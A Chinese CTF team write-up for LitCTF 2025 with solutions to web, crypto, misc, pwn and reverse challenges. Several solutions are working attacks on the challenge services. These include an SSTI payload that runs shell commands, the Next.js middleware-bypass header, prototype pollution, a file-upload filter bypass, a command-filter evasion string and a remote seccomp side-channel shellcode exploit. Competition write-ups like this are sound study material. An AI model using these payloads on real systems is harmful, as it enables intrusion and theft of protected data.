猫猫黑客小分队-yxing,mintlovectf,zhaowumian-42名

image-20250525182302109

WEB

星愿信箱

尝试后发现是SSTI,但是过滤了{{}},用{%print%}绕过就行

{%print lipsum.__globals__.get('os').popen('tac /flag').read()%}

image-20250525100311154

NSSCTF{4a1bc0ff-4184-4832-8294-10b7838b30f2}

nest_js

参考漏洞预警 | Next.js 中间件鉴权绕过漏洞 (CVE-2025-29927) | CTF导航,根据题目提示,带上请求头x-middleware-subrequest:middleware:middleware:middleware:middleware:middleware访问/dashboard

image-20250525114134705

LitCTF{b11dd2bc-935b-47d7-ada1-dd12a3140c4a}

多重宇宙日记

通过源码中settings来进行原型链污染

{
"settings": {
"__proto__": {
"isAdmin": true
}
}
}

image-20250525132724210

NSSCTF{60b2461b-3922-495c-bbac-341016773be2}

easy_file

先简单尝试下万能密码登录不行,弱口令爆出来了,注意这里爆破时要先base64编码

image-20250525134414156

文件上传,内容中过滤了php,用<?=绕过,fuzz发现文件后缀只能允许.jpg.txt

image-20250525172810947

同时在登录页面获得提示 //file查看头像,多半就是上传txt后用file来包含,尝试后成功

image-20250525173911270

NSSCTF{c84c9649-3ef7-4438-a524-0a3be9cf9b15}

1easy_signin

1君の名は

<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}

class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}

class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;

public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

CRYPTO

basic

from Crypto.Util.number import inverse, long_to_bytes

n = 150624321883406825203208223877379141248303098639178939246561016555984711088281599451642401036059677788491845392145185508483430243280649179231349888108649766320961095732400297052274003269230704890949682836396267905946735114062399402918261536249386889450952744142006299684134049634061774475077472062182860181893
e = 65537
c = 22100249806368901850308057097325161014161983862106732664802709096245890583327581696071722502983688651296445646479399181285406901089342035005663657920475988887735917901540796773387868189853248394801754486142362158369380296905537947192318600838652772655597241004568815762683630267295160272813021037399506007505

# 计算欧拉函数φ(n) = n - 1 (因为n是质数)
phi = n - 1

# 计算私钥d
d = inverse(e, phi)

# 解密密文
m = pow(c, d, n)

# 将明文转换为字节并输出
print(long_to_bytes(m).decode('utf-8'))

image-20250525101123137

LitCTF{ee2c30dfe684f13a6e6c07b9ec90cc2c}

ez_math

from sage.all import *
from Crypto.Util.number import long_to_bytes

# Given values
p = 8147594556101158967571180945694180896742294483544853070485096002084187305007965554901340220135102394516080775084644243545680089670612459698730714507241869
e = 65537
B_list = [
[2155477851953408309667286450183162647077775173298899672730310990871751073331268840697064969968224381692698267285466913831393859280698670494293432275120170, 4113196339199671283644050914377933292797783829068402678379946926727565560805246629977929420627263995348168282358929186302526949449679561299204123214741547],
[3652128051559825585352835887172797117251184204957364197630337114276860638429451378581133662832585442502338145987792778148110514594776496633267082169998598, 2475627430652911131017666156879485088601207383028954405788583206976605890994185119936790889665919339591067412273564551745588770370229650653217822472440992]
]

# Define matrix B over GF(p)
F = GF(p)
B = matrix(F, B_list)

# Compute trace and determinant
tr = B.trace()
det = B.det()
discriminant = tr^2 - 4*det

# Check if discriminant is a square
if not discriminant.is_square():
print("Discriminant is not a square, no solution exists")
exit()

# Compute eigenvalues of B
sqrt_disc = discriminant.sqrt()
inv2 = F(2).inverse_of_unit() # Fixed line
mu1 = (tr + sqrt_disc) * inv2
mu2 = (tr - sqrt_disc) * inv2

# Compute modular inverse of e modulo p-1
d = inverse_mod(e, p-1)

# Compute eigenvalues of A
lambda1 = mu1^d
lambda2 = mu2^d

# Compute eigenvectors of B (which are also eigenvectors of A)
I = identity_matrix(F, 2)
ker1 = (B - mu1 * I).right_kernel()
v1 = ker1.basis()[0]
ker2 = (B - mu2 * I).right_kernel()
v2 = ker2.basis()[0]

# Construct matrix P
P = matrix([v1, v2]).transpose()

# Construct diagonal matrix D
D = diagonal_matrix([lambda1, lambda2])

# Compute matrix A
A = P * D * P.inverse()

# Extract flag and convert to bytes
flag_int = Integer(A[0,0])
flag = long_to_bytes(flag_int)

# Output the flag
print(flag)

image-20250525101623004

LitCTF{13dd217e-9a67-4093-8a1b-d2592c45ba82}

leak

import itertools

def find_small_roots(polynomial, bounds, m=1, d=None):
"""
Implementation of Coppersmith's method to find small roots of a multivariate polynomial.
Args:
polynomial: The polynomial for which to find small roots
bounds: List of bounds for each variable's size
m: Parameter for lattice construction (default 1)
d: Degree parameter (default None, will use polynomial's degree)
Returns:
List of small roots found
"""
if not d:
d = polynomial.degree()

# Get base ring and its cardinality
base_ring = polynomial.base_ring()
ring_cardinality = base_ring.cardinality()

# Normalize the polynomial by making it monic
polynomial /= polynomial.coefficients().pop(0)
polynomial = polynomial.change_ring(ZZ) # Convert to integer polynomial

# Construct the lattice basis
lattice_basis = Sequence([], polynomial.parent())
for i in range(m + 1):
base = ring_cardinality^(m - i) * polynomial^i
# Generate all possible monomial shifts
for shifts in itertools.product(range(d), repeat=polynomial.nvariables()):
shifted_poly = base * prod(map(power, polynomial.variables(), shifts))
lattice_basis.append(shifted_poly)

# Build the coefficient matrix
coeff_matrix, monomials = lattice_basis.coefficient_matrix()
monomials = vector(monomials)

# Apply size reduction to the lattice
scaling_factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(scaling_factors):
coeff_matrix.rescale_col(i, factor)

# Perform LLL reduction
coeff_matrix = coeff_matrix.dense_matrix().LLL()

# Revert the size reduction
coeff_matrix = coeff_matrix.change_ring(QQ)
for i, factor in enumerate(scaling_factors):
coeff_matrix.rescale_col(i, 1 / factor)

# Extract potential solutions
solution_polynomials = Sequence([], polynomial.parent().change_ring(QQ))
for h in filter(None, coeff_matrix * monomials):
solution_polynomials.append(h)
ideal = solution_polynomials.ideal()
if ideal.dimension() == -1:
solution_polynomials.pop() # Remove if the ideal is trivial
elif ideal.dimension() == 0:
# Found solutions - convert to integers
roots = []
for root in ideal.variety(ring=ZZ):
root = tuple(base_ring(root[var]) for var in polynomial.variables())
roots.append(root)
return roots

return [] # No solutions found

# ===== RSA Parameters =====
public_exponent = 1915595112993511209389477484497
modulus = 12058282950596489853905564906853910576358068658769384729579819801721022283769030646360180235232443948894906791062870193314816321865741998147649422414431603039299616924238070704766273248012723702232534461910351418959616424998310622248291946154911467931964165973880496792299684212854214808779137819098357856373383337861864983040851365040402759759347175336660743115085194245075677724908400670513472707204162448675189436121439485901172477676082718531655089758822272217352755724670977397896215535981617949681898003148122723643223872440304852939317937912373577272644460885574430666002498233608150431820264832747326321450951
ciphertext = 5408361909232088411927098437148101161537011991636129516591281515719880372902772811801912955227544956928232819204513431590526561344301881618680646725398384396780493500649993257687034790300731922993696656726802653808160527651979428360536351980573727547243033796256983447267916371027899350378727589926205722216229710593828255704443872984334145124355391164297338618851078271620401852146006797653957299047860900048265940437555113706268887718422744645438627302494160620008862694047022773311552492738928266138774813855752781598514642890074854185464896060598268009621985230517465300289580941739719020511078726263797913582399
partial_hint = 10818795142327948869191775315599184514916408553660572070587057895748317442312635789407391509205135808872509326739583930473478654752295542349813847128992385262182771143444612586369461112374487380427668276692719788567075889405245844775441364204657098142930

# ===== Polynomial Construction =====
# Define polynomial ring over Z/nZ
polynomial_ring.<x, y> = PolynomialRing(Zmod(modulus))

# Construct the polynomial: f = e*(hint*2^180 + x) + y - 1
# We're looking for small roots (x,y) where x < 2^180 and y < 2^100
target_polynomial = public_exponent*(partial_hint*2^180 + x) + y - 1

# ===== Find Small Roots =====
# Find small roots using Coppersmith's method
delta_h, k_value = find_small_roots(target_polynomial, [2^180, 2^100], m=1, d=3)[0]

# ===== Factor the Modulus =====
# Reconstruct the temporary value used in the polynomial
temp_value = partial_hint*2^180 + delta_h
# Calculate p as a factor of n
prime_factor = gcd(modulus, (public_exponent*temp_value - 1)//k_value + 1)
print("[+] Found prime factor p =", prime_factor)

# ===== Decrypt the Ciphertext =====
# Compute the private exponent d (mod p-1)
private_exponent = pow(public_exponent, -1, prime_factor-1) # Modular inverse

# Decrypt the ciphertext
plaintext = pow(ciphertext, private_exponent, prime_factor)

# Convert the message to bytes
flag_bytes = int(plaintext).to_bytes((int(plaintext).bit_length() + 7) // 8, 'big')
print("[+] Decrypted flag:", flag_bytes.decode())

image-20250525163737730

LitCTF{03ecda15d1a89b06454c6050c1bd489f}

baby

import gmpy2
from Crypto.Util.number import long_to_bytes

g = 7835965640896798834809247993719156202474265737048568647376673642017466116106914666363462292416077666356578469725971587858259708356557157689066968453881547
d = 2966297990428234518470018601566644093790837230283136733660201036837070852272380968379055636436886428180671888655884680666354402224746495312632530221228498

def inv(d, g): return gmpy2.invert(d, g)

def conv(a, b):
h, k, h_prev, k_prev = 1, 0, 0, 1
while b:
q = a // b
h, h_prev = q * h + h_prev, h
k, k_prev = q * k + k_prev, k
a, b = b, a % b
yield h, k

def find_t(c, m, n):
for h, t in c:
if m <= t < n and gmpy2.is_prime(t): return t

def dec(t, K, g): return long_to_bytes((t * K) % g)

K = inv(d, g)
t = find_t(conv(K, g), 2**149, 2**150)
if t: print(dec(t, K, g))

image-20250525202525871

LitCTF{56008a819331c9f3608a718327b7e6ce}

MISC

灵感菇

看网站发现有一个github

img

访问了之后发现这就是答案

img

Copping

附件拿到了100张图片,于是用工具拼成一个10X10的二维码

img

img

img

像素中的航班

image-20250525112016945

郑州新郑国际机场(其实也可以从郑州轻化工的比赛看出来郑州)

image-20250525104542753

长城杯-福建福州机场 4.28举办

4e1a617372b4364e46a5630c6afef5e8_720

LitCTF{CZ8289}

消失的文字

先USB解密

python pcap2track.py usb.pcapng

image-20250525103125351

868F-83BD-FF

打开看到一段文字,其中有隐写,参考文章Hidden Word:隐形文本水印工具,可将秘密信息隐藏在普通文本中,找到在线网站解密Hidden Word

image-20250525172018342

LitCTF{39553317-df30-4951-8aad-fcaf3028ca9d}

问卷

beadd185ba5fb616cd1ff7f85ca0e1cc

LitCTF{W3_Need_You_Next_year==}

PWN

test_your_nc

010edi打开附件

#!/bin/python3
import os

print("input your command")

blacklist = ['cat','ls',' ','cd','echo','<','${IFS}','sh','\\']

while True:
command = input()
for i in blacklist:
if i in command:
exit(0)
os.system(command)

发现过滤了一些指令,可以通过变量拼接构造cat,通过$IFS$9绕过空格过滤分隔指令

a=c;b=at;c=fl;d=ag;$a$b$IFS$9$c$d

shellcode

check

桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

开了沙箱

桌面$ seccomp-tools dump ./pwn
Welcome LitCTF 2025
Please input your shellcode:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x00000000 if (A == read) goto 0007
0006: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

mmap分配了可执行的段在buf上需写shellcode绕过沙箱提权,先opean flag文件再read到栈上通过侧信道爆破逐字节读出flag

from pwn import *
# context.log_level = "debug"
context.arch = 'amd64'

def dynamite_xor(io, idx, char):
shellcode = shellcraft.amd64.pushstr("flag")
shellcode += shellcraft.amd64.linux.open('rsp', 0, 0)
shellcode += shellcraft.amd64.linux.read('rax', 'rsp', idx + 1)
shellcode += "mov al,[rsp+{0}];xor rax,{1};".format(str(idx), str(char))
shellcode += shellcraft.amd64.linux.read('rax', 'rsp', 1)
payload = asm(shellcode)
io.recvuntil('Please input your shellcode: ')
info("\033[0;34mmov al,[rsp+{0}]; xor rax, {1};\033[0m".format(str(idx), chr(char)))
io.sendline(payload)

def dynamite_sub(io, idx, char):
shellcode = shellcraft.amd64.pushstr("flag")
shellcode += shellcraft.amd64.linux.open('rsp', 0, 0)
shellcode += shellcraft.amd64.linux.read('rax', 'rsp', idx + 1)
shellcode += "mov al,[rsp+{0}];sub rax,{1};".format(str(idx), str(char))
shellcode += shellcraft.amd64.linux.read('rax', 'rsp', 1)
payload = asm(shellcode)
io.recvuntil('Please input your shellcode: ')
info("\033[0;34mmov al,[rsp+{0}];sub rax,{1};\033[0m".format(str(idx), chr(char)))
io.sendline(payload)

def dynamite_add(io, idx, char):
shellcode = shellcraft.amd64.pushstr("flag")
shellcode += shellcraft.amd64.linux.open('rsp', 0, 0)
shellcode += shellcraft.amd64.linux.read('rax', 'rsp', idx + 1)
shellcode += "mov al,[rsp+{0}];sub rax,{1};add rax, 2".format(str(idx), str(char))
shellcode += shellcraft.amd64.linux.read('rax', 'rsp', 1)
payload = asm(shellcode)
io.recvuntil('Please input your shellcode: ')
info("\033[0;33mmov al,[rsp+{0}];sub rax,{1};add rax, 2;\033[0m".format(str(idx), chr(char)))
io.sendline(payload)

def check_time(io):
start_time = time.time()
try:
io.recv()
io.recv(timeout=2)
except:
pass
if time.time() - start_time >= 1.5:
return True
else:
return False

def check(io, idx, char):
dynamite_sub(io, idx, char)
if check_time(io):
io1 = remote('node10.anna.nssctf.cn', 25204)
dynamite_add(io1, idx, char)
if check_time(io1):
io1.close()
return True
return False

def main():
flag = "NSSCTF{"
start_idx = len(flag) # 跳过已知部分
for idx in range(start_idx, 100): # 从已知部分之后开始
for char in range(32, 127):
io = remote('node10.anna.nssctf.cn', 25204)
if check(io, idx, char):
flag += chr(char)
success("\033[0;32mflag[{0}]:{1}\033[0m".format(str(idx), chr(char)))
success("\033[0;32mflag:{0}\033[0m".format(flag))
break
io.close()
print(flag)

main()

1

RE

easy_rc4

简单的rc4

class RC4:
def __init__(self, key):
self.S = list(range(256))
j = 0
for i in range(256):
j = (j + self.S[i] + key[i % len(key)]) % 256
self.S[i], self.S[j] = self.S[j], self.S[i]
self.i = self.j = 0

def keystream(self, length):
i, j, S = self.i, self.j, self.S.copy()
keystream = []
for _ in range(length):
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
keystream.append(S[(S[i] + S[j]) % 256])
return keystream

# 提取密文字节(小端序转换)
cipher = [
0x78, 0xCC, 0x4E, 0x13, 0x31, 0xF4, 0x73, 0x49,
0x4F, 0x6C, 0x4F, 0x73, 0xC0, 0xF4, 0x35, 0x7E,
0xCE, 0x27, 0x76, 0x4D, 0x19, 0x60, 0x7A, 0xEA,
0x44, 0x5D, 0xC0, 0x42, 0x81, 0xDA, 0x1C, 0xF6,
0x64, 0x72, 0x58, 0xD9, 0x94, 0xFA, 0xF8, 0x13
]

# 生成密钥流并解密
rc4 = RC4(b'FenKey!!')
keystream = rc4.keystream(len(cipher))

flag_bytes = bytes([(c ^ 0x20) ^ k for c, k in zip(cipher, keystream)])
print("Flag:", flag_bytes.decode())

Snipaste_2025-05-25_18-05-18